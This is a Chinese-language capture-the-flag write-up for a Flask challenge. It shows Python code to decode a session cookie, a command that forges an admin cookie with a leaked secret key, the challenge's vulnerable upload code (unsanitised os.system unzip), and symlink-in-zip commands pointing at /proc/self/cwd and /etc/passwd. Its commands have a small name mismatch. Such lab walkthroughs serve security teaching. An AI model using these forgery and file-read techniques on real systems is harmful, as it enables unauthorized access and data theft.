[SWPU2019]Web3 ----不会编程的崽

ctf的知识点太多了,多的都记不住。只能说又收获一点点啦

 又是这种熟悉的登陆界面,时常做sql注入的恶梦。好在不是sql注入。不用注册,随便登录就行,

 同时检查里边抓包。

1.有一个upload,但是权限不够

2.数据包里的cookie含有phpsessionid,有点像jwt格式,但是jwt并不能识别

大概能猜到了,多半要伪造cookie,获取权限然后文件上传。在首页源代码里发现了

这应该就是py的flask框架了。去别人拿找到了破解session的代码

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption("eyJpZCI6eyIgYiI6Ik1UQXcifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoiMTIzIiwidXNlcm5hbWUiOiJhZG1pbiJ9.Ze1c6g.LtuJStQn6Y952ys0NjdqWLlMmr8".encode()))
{'id': b'100', 'is_login': True, 'password': '123', 'username': 'admin'}

 id的数字代表了权限,和liunx很像。把它改为1试试(为什么是1不是0,别问,问就是尝试出来的)

 在拿去加密成需要的格式 

git clone https://github.com/noraj/flask-session-cookie-manager.git && cd flask-session-cookie-manager

 上边这是脚本下载地址(liunx)。然后执行命令

python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"

然后问题是加密secret_key哪来的??同志们要多抓包啊 

 访问不存在路径时,报错抓包发现的,自己拿去base64解密就行。

 最后这就是构造的session

.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.Ze1exA.ye_-NZB-8bpowlmfo1AkQ4_8lfk

然后在浏览器这个位置,把cookie固定。不然每次访问都要换session,很麻烦

现在就能正常上传了 

 当我以为是简单的文件上传的时候,右键我又看到了奇怪的代码

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
				waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

大概就是只能上传zip后缀的压缩包,然后有会去解压。没搞懂怎么利用,只能看来别人的wp。ctf就是各种骚操作-----软链接。这里我就去复制别人原话了

1.在 linux 中,/proc/self/cwd/会指向进程的当前目录,在不知道 flask 工作目录时,我们可以  用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。
2.ln -s是Linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shawroot 这会出现一个名为shawroot的文件,其内容为/etc/passwd的内容。

所以这里利用方式很简单

ln -s /proc/self/cwd/flag/flag.jpg forever404
zip -ry forever404.zip shaw
-r:将指定的目录下的所有子目录以及文件一起处理

-y:直接保存符号连接,而非该连接所指向的文件

!!!这里需要注意, kali在执行第一条命令之前(ln -s /proc/self/cwd/flag/flag.jpg forever404),需要在你的kali上的/proc/self/cwd目录下,创建/flag/flag.jpg。我卡了一个半小时。。。很多wp的作者并没有说明这一点,当然我不确定他们是否存在这种情况。但是我实验就是,如果本地不存在flag.jpg,上传就会返回报错。

 

操作确实不难,但对知识要求范围确实很广。 

  • 47
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值